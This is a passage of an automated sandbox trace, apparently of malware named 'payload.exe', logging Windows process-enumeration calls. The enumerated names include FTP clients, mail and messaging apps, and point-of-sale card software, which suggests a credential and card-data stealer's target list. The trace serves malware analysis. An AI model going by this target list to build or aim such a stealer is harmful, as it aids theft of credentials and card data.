returned 1 [0067.437] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0067.437] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0067.437] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0067.437] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0067.438] lstrlenW (lpString="things apt speaker.exe") returned 22 [0067.438] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0067.438] lstrlenW (lpString="longest.exe") returned 11 [0067.439] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0067.439] lstrlenW (lpString="liberty.exe") returned 11 [0067.439] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0067.439] lstrlenW (lpString="robust.exe") returned 10 [0067.440] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0067.440] lstrlenW (lpString="browse.exe") returned 10 [0067.440] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0067.441] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0067.441] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0067.441] lstrlenW (lpString="blocked.exe") returned 11 [0067.441] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0067.442] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0067.442] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0067.807] lstrlenW (lpString="reno.exe") returned 8 [0067.808] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0067.808] lstrlenW (lpString="vancouver.exe") returned 13 [0067.808] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0067.809] lstrlenW (lpString="africa.exe") returned 10 [0067.809] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0067.810] lstrlenW (lpString="ph-pos.exe") returned 10 [0067.810] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0067.811] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0067.811] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0067.812] lstrlenW (lpString="peaceful.exe") returned 12 [0067.812] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0067.812] lstrlenW (lpString="louise_threshold.exe") returned 20 [0067.812] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0067.813] lstrlenW (lpString="scannerhit.exe") returned 14 [0067.813] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0067.814] lstrlenW (lpString="3dftp.exe") returned 9 [0067.814] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0067.814] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0067.814] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0067.815] lstrlenW (lpString="alftp.exe") returned 9 [0067.815] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0067.816] lstrlenW (lpString="barca.exe") returned 9 [0067.816] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0067.817] lstrlenW (lpString="bitkinex.exe") returned 12 [0067.817] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0067.817] lstrlenW (lpString="coreftp.exe") returned 11 [0067.817] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0067.818] lstrlenW (lpString="far.exe") returned 7 [0067.818] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0067.819] lstrlenW (lpString="filezilla.exe") returned 13 [0067.819] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0067.819] lstrlenW (lpString="flashfxp.exe") returned 12 [0067.819] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0067.820] lstrlenW (lpString="fling.exe") returned 9 [0067.820] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0067.821] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0067.821] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0067.821] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0067.821] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0067.822] lstrlenW (lpString="icq.exe") returned 7 [0067.822] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0067.823] lstrlenW (lpString="leechftp.exe") returned 12 [0067.823] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0067.824] lstrlenW (lpString="ncftp.exe") returned 9 [0067.824] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.825] lstrlenW (lpString="notepad.exe") returned 11 [0067.825] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.826] lstrlenW (lpString="operamail.exe") returned 13 [0067.826] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.827] lstrlenW (lpString="pidgin.exe") returned 10 [0067.827] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.828] lstrlenW (lpString="scriptftp.exe") returned 13 [0067.828] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.829] lstrlenW (lpString="skype.exe") returned 9 [0067.829] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.830] lstrlenW (lpString="smartftp.exe") returned 12 [0067.830] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0067.831] lstrlenW (lpString="thunderbird.exe") returned 15 [0067.831] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0067.832] lstrlenW (lpString="totalcmd.exe") returned 12 [0067.832] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0067.833] lstrlenW (lpString="trillian.exe") returned 12 [0067.833] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0067.834] lstrlenW (lpString="webdrive.exe") returned 12 [0067.834] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.835] lstrlenW (lpString="whatsapp.exe") returned 12 [0067.835] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.836] lstrlenW (lpString="winscp.exe") returned 10 [0067.836] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.837] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0067.837] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0067.838] lstrlenW (lpString="active-charge.exe") returned 17 [0067.838] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0067.839] lstrlenW (lpString="accupos.exe") returned 11 [0067.839] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0067.840] lstrlenW (lpString="afr38.exe") returned 9 [0067.840] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0067.841] lstrlenW (lpString="aldelo.exe") returned 10 [0067.841] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0068.078] lstrlenW (lpString="ccv_server.exe") returned 14 [0068.078] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0068.079] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0068.079] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0068.080] lstrlenW (lpString="creditservice.exe") returned 17 [0068.080] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0068.080] lstrlenW (lpString="edcsvr.exe") returned 10 [0068.080] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0068.081] lstrlenW (lpString="fpos.exe") returned 8 [0068.081] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0068.082] lstrlenW (lpString="isspos.exe") returned 10 [0068.082] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0068.084] lstrlenW (lpString="mxslipstream.exe") returned 16 [0068.084] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0068.085] lstrlenW (lpString="omnipos.exe") returned 11 [0068.085] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0068.086] lstrlenW (lpString="spcwin.exe") returned 10 [0068.086] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0068.086] lstrlenW (lpString="spgagentservice.exe") returned 19 [0068.086] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0068.087] lstrlenW (lpString="utg2.exe") returned 8 [0068.087] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0068.088] lstrlenW (lpString="slope.exe") returned 9 [0068.088] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0068.088] lstrlenW (lpString="entered.exe") returned 11 [0068.088] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0068.089] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0068.089] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0068.090] lstrlenW (lpString="attach.exe") returned 10 [0068.090] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0068.090] lstrlenW (lpString="obligations.exe") returned 15 [0068.090] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.091] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.091] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.092] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.092] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.093] lstrlenW (lpString="taskhost.exe") returned 12 [0068.093] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0068.094] lstrlenW (lpString="payload.exe") returned 11 [0068.094] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.094] lstrlenW (lpString="cmd.exe") returned 7 [0068.094] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, 